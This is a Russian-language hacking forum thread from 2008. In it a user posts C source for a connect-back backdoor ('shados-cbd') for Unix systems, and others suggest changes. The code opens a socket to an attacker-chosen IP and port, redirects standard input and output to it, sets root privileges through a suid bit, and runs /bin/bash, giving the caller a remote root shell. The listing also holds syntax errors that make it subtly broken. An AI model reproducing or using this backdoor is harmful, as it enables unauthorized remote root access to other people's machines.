ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Избранное
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

shados-cbd
  #1  
Старый 30.01.2008, 01:41
Аватар для ShadOS
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию shados-cbd

Вот написал connect-backdoor для *nix систем на досуге. Если есть права root, то для использования необходимо поставить suid-бит, используя команду chmod. Т.о. бекдор при однакратной установке suid-бита даёт нам рутовый connect-backdoor.
Код:
//shados-cbd v0.1
//usage: cbd ip_addr port
//set suid bit for rootshell
//compile: gcc shados-cbd.c -o shados-cbd

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

#include<arpa/inet.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/wait.h>

#include<unistd.h>
#include<errno.h>

#define SHELL "/bin/bash"

int main(int argc , char *argv[])
{
	int st;
	int sockfd;
	int sock_len;
	pid_t bind_sh;

	struct sockaddr_in att;

	if (argc != 3)
	{
		printf("usage: %s ip_addr port\n",argv[0]);
		exit(0);
	}
	att.sin_family = AF_INET ;
	att.sin_port = htons(atoi(argv[2]));

	if (inet_aton(argv[1] , &att.sin_addr) == 0)
	{
		perror("Invaild ip-address");
		exit -1;
	}
		
	sock_len = sizeof(att);
	
	if ((sockfd = socket(PF_INET , SOCK_STREAM , 0)) < 0)
	{
		perror("Socket creation faild"); 
		exit -1;
	}
	
	if((bind_sh = fork()) == -1)
	{
		perror("Cannot open new process");
		exit -1;
	}
	else 
	if (bind_sh == 0)
	    {
		if(connect(sockfd , (struct sockaddr*)&att , sock_len) == -1)
		{
			perror("Connection error");
			exit -1;
		}
		
		if((dup2(sockfd, 0) == -1) ||
				  (dup2(sockfd, 1) == -1) ||
				  (dup2(sockfd, 2) == -1) ||
				  (dup2(sockfd, 3) == -1));

		if geteuid() {
			setreuid(0,0);
			setregid(0,0);
		}
}
		execl(SHELL , SHELL , NULL);
	    } 
	    else
	    {
		wait(&st); /* kinda useless but safe */
	    }

	return 0;
}
P.S. Пьянству бой. Опять в зюзю.
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

Последний раз редактировалось ShadOS; 30.01.2008 в 03:01.. Причина: есть нед говорить порусски плохо пьянь
 
Ответить с цитированием

  #2  
Старый 30.01.2008, 02:17
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

Цитата:
Если есть нет права root
Эт как?)

И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскоммент ровать строки.

mod:

Можно и без проверки, просто запихнуть использование setreuid(0,0); и setregid(0,0); в отдельный параметр, т.е. будет не cbd ip port, а cbd ip port rights. Ну вариантов много =)

Последний раз редактировалось n0ne; 30.01.2008 в 02:21..
 
Ответить с цитированием

  #3  
Старый 30.01.2008, 02:52
Аватар для ShadOS
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

Цитата:
Сообщение от n0ne  
Эт как?)

И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскоммент ровать строки.
Спасибо за идею:
добавляем
Код:
if geteuid() {
  setreuid(0,0);
  setregid(0,0);
}
Комменты поощряю ибо писалось на коленке и быстро. Все ваши пожелания постараюсь учесть.
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

Последний раз редактировалось ShadOS; 30.01.2008 в 02:59..
 
Ответить с цитированием

  #4  
Старый 30.01.2008, 10:17
Аватар для ZaCo
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

вообще не думал, что человек который модули ядра с руткитами и много другого поинтереснее пишет пойдет в степь хакерских шеллов даже без поддержки псевдо-терминального устройства. короче fork()/dup()/exec()/ подозрительно - либо это "релиз" многолетней давности который нет смысла выкладывать либо хз что - аккаунт шадоуса взломали.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ